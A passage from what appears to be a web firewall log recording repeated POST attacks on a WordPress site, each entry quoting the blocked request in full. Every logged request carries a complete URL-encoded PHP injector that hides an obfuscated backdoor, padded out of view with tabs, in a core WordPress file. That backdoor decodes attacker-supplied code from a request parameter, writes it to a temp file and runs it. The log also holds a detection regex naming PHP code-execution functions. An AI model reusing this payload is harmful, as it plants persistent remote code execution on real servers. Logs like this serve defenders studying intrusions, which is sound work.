\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:54","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4204\nsec-fetch-site:none\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrSZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nxS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:44:56","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-user:?1\nhost:dewenlabels.com\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\ncontent-length:4227\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-fetch-site:none\nupgrade-insecure-requests:1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:44:59","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4204\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMxfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nfK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/functions.wp-styles.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524element%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524element%2520%253D%2520explode%2520%2528%2527.%2527%252C%2520%2524element%2529%2520%253B%2520%2524property_set%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520foreach%2520%2528%2524element%2520as%2520%2524n%2520%253D%253E%2524v2%2529%253A%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524n%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524d%2520%253D%2520%2528%2528int%2529%2524v2%2520-%2520%2524sChar%2520-%2520%2528%2524n%2520%2525%252010%2529%2529%2520%255E%252029%253B%2520%2524property_set%2520.%253D%2520chr%2528%2524d%2529%253B%2520endforeach%253B%2520%2524itm%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524itm%2520as%2520%2524object%2529%2520%257B%2520if%2520%2528is_dir%2528%2524object%2529%2520%2526%2526%2520is_writable%2528%2524object%2529%2529%2520%257B%2520%2524factor%2520%253D%2520sprintf%2528%2522%2525s\/.tkn%2522%252C%2520%2524object%2529%253B%2520if%2520%2528file_put_contents%2528%2524factor%252C%2520%2524property_set%2529%2529%2520%257B%2520require%2520%2524factor%253B%2520unlink%2528%2524factor%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:45:02","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 